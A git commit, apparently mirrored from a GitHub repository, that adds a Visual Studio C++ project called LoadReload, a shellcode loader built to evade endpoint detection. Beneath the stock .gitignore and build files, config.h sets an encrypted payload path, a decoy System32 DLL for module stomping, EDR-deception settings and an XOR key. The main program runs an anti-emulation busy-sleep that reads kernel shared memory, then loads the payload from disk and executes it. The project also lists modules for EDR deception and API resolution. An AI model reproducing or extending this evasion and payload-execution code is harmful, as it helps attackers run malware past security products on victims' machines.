mirror of
https://github.com/0xRoam/LoadReload
synced 2026-06-16 04:43:20 +00:00
cleanup
This commit is contained in:
Roam
+418
@@ -0,0 +1,418 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
*.env
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
[Aa][Rr][Mm]64[Ee][Cc]/
|
||||
bld/
|
||||
[Oo]bj/
|
||||
[Oo]ut/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Build results on 'Bin' directories
|
||||
**/[Bb]in/*
|
||||
# Uncomment if you have tasks that rely on *.refresh files to move binaries
|
||||
# (https://github.com/github/gitignore/pull/3736)
|
||||
#!**/[Bb]in/*.refresh
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
*.trx
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Approval Tests result files
|
||||
*.received.*
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.idb
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
# but not Directory.Build.rsp, as it configures directory-level build defaults
|
||||
!Directory.Build.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio 6 auto-generated project file (contains which files were open etc.)
|
||||
*.vbp
|
||||
|
||||
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||
*.dsw
|
||||
*.dsp
|
||||
|
||||
# Visual Studio 6 technical files
|
||||
*.ncb
|
||||
*.aps
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
**/.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
**/.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
**/.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
**/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
#tools/**
|
||||
#!tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
MSBuild_Logs/
|
||||
|
||||
# AWS SAM Build and Temporary Artifacts folder
|
||||
.aws-sam
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
**/.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
**/.localhistory/
|
||||
|
||||
# Visual Studio History (VSHistory) files
|
||||
.vshistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
**/.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
!.vscode/*.code-snippets
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Built Visual Studio Code Extensions
|
||||
*.vsix
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36414.22 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoadReload", "LoadReload\LoadReload.vcxproj", "{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x64.Build.0 = Debug|x64
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Debug|x86.Build.0 = Debug|Win32
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x64.ActiveCfg = Release|x64
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x64.Build.0 = Release|x64
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x86.ActiveCfg = Release|Win32
|
||||
{28DE3417-3CEF-4F0B-9B81-8EB99B9658E6}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {8631FCE8-ACFF-4EC2-91DD-9123012175FE}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,154 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{28de3417-3cef-4f0b-9b81-8eb99b9658e6}</ProjectGuid>
|
||||
<RootNamespace>LoadReload</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="modules\api_resolver.cpp" />
|
||||
<ClCompile Include="core\LoadReload.cpp" />
|
||||
<ClCompile Include="modules\edr_decon.cpp" />
|
||||
<ClCompile Include="modules\guardrails.cpp" />
|
||||
<ClCompile Include="modules\anti_emulation.cpp" />
|
||||
<ClCompile Include="modules\module_stomping.cpp" />
|
||||
<ClCompile Include="modules\decryptor.cpp" />
|
||||
<ClCompile Include="modules\loader_stub.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="config.h" />
|
||||
<ClInclude Include="modules\api_resolver.h" />
|
||||
<ClInclude Include="modules\edr_decon.h" />
|
||||
<ClInclude Include="modules\guardrails.h" />
|
||||
<ClInclude Include="modules\anti_emulation.h" />
|
||||
<ClInclude Include="modules\loader_stub.h" />
|
||||
<ClInclude Include="modules\module_stomping.h" />
|
||||
<ClInclude Include="modules\decryptor.h" />
|
||||
<ClInclude Include="resources\resource.h" />
|
||||
<ClInclude Include="utils\logging.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,75 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="modules\anti_emulation.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="modules\guardrails.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="core\LoadReload.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="modules\api_resolver.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="modules\loader_stub.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="modules\decryptor.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="modules\edr_decon.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="modules\module_stomping.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="config.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\guardrails.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\anti_emulation.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\decryptor.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\loader_stub.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\api_resolver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\edr_decon.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resources\resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="utils\logging.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\module_stomping.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
|
||||
// === Feature toggles 1 = on / 0 = off ===
|
||||
#define USE_GUARDRAILS 0
|
||||
#define USE_ANTI_EMULATION 1
|
||||
#define USE_EDR_DECON 0
|
||||
#define USE_DECRYPTION 1
|
||||
|
||||
// === Payload settings ===
|
||||
#define LOAD_FROM_DISK 1
|
||||
#define PAYLOAD_PATH "C:/temp/custom_shellcode_3_enc.bin"
|
||||
#define DECOY_DLL_PATH L"C:\\Windows\\System32\\edgehtml.dll"
|
||||
|
||||
// === EDR Decon settings ===
|
||||
#define NUMBER_OF_ALLOCS 150
|
||||
#define NUMBER_OF_ITERATIONS 5
|
||||
|
||||
// === Decryption settings ===
|
||||
#ifndef XOR_KEY
|
||||
#define XOR_KEY { 0x9c, 0xbe, 0xb5, 0x10, 0xf8, 0xc3, 0x7e, 0x8d }
|
||||
#endif
|
||||
@@ -0,0 +1,51 @@
|
||||
#include <windows.h>
|
||||
#include <vector>
|
||||
#include "../config.h"
|
||||
|
||||
// Modules
|
||||
#include "../modules/guardrails.h"
|
||||
#include "../modules/anti_emulation.h"
|
||||
#include "../modules/edr_decon.h"
|
||||
#include "../modules/decryptor.h"
|
||||
#include "../modules/loader_stub.h"
|
||||
#include "../utils/logging.h"
|
||||
|
||||
|
||||
|
||||
int main() {
|
||||
|
||||
Log::Write(Log::LogLevel::Msg, "Starting LoadReload...");
|
||||
|
||||
// Timestamp of execution start
|
||||
|
||||
|
||||
// Execution Guardrails Module
|
||||
#if USE_GUARDRAILS
|
||||
if (Guardrails::CheckCpuCores(2)) {
|
||||
Log::Write(Log::LogLevel::Msg, "Guardrails: Insufficient CPU cores detected. Exiting.");
|
||||
ExitProcess(-1);
|
||||
}
|
||||
#endif
|
||||
|
||||
// Anti-emulation Module
|
||||
// If config.h isn’t included before the #if, then USE_ANTI_EMULATION is undefined preprocessor treats it as 0. therefore #if defined(...) && ... is needed
|
||||
#if defined(USE_ANTI_EMULATION) && USE_ANTI_EMULATION
|
||||
// Anti-emulation checks because they didnt work with namespace
|
||||
Log::Write(Log::LogLevel::Msg, "BusySleep Starting...");
|
||||
BusySleepMs(5000); // Sleep for 5 seconds to avoid emulation detection
|
||||
#endif
|
||||
|
||||
// Load payload
|
||||
#if LOAD_FROM_DISK
|
||||
auto payload = LoaderStub::LoadBinaryFile(PAYLOAD_PATH);
|
||||
#endif
|
||||
|
||||
if (payload.empty()) {
|
||||
Log::Write(Log::LogLevel::Msg, "Failed to load payload");
|
||||
ExitProcess(-1);
|
||||
}
|
||||
// Execution via Loader Stub
|
||||
LoaderStub::Execute(payload);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
#include <windows.h>
|
||||
#include <winnt.h>
|
||||
# include "anti_emulation.h"
|
||||
#include "../utils/logging.h"
|
||||
|
||||
|
||||
int GetKernelTimeMs() {
|
||||
// KUSER_SHARED_DATA addresses (see WinDbg: dt nt!_KUSER_SHARED_DATA)
|
||||
const ULONG* TickCountMultiplier = (const ULONG*)0x7ffe0004;
|
||||
const LONG* High1Time = (const LONG*)0x7ffe0324;
|
||||
const ULONG* LowPart = (const ULONG*)0x7ffe0320;
|
||||
|
||||
// Rebuild the kernel tick count (raw, similar to Windows internals) and convert to milliseconds
|
||||
DWORD kernelTime = (*TickCountMultiplier) * ((*High1Time << 8)) +
|
||||
((static_cast<unsigned __int64>(*LowPart) * (*TickCountMultiplier)) >> 24);
|
||||
|
||||
return static_cast<int>(kernelTime);
|
||||
}
|
||||
|
||||
void BusySleepMs(DWORD sleepMs) {
|
||||
int start = GetKernelTimeMs();
|
||||
// Busy-loop until the specified interval has elapsed
|
||||
while ((GetKernelTimeMs() - start) < static_cast<int>(sleepMs)) {
|
||||
|
||||
_mm_pause(); // does nothing, just a hint to CPU to reduce power consumption, might slow down aggressor analysis
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
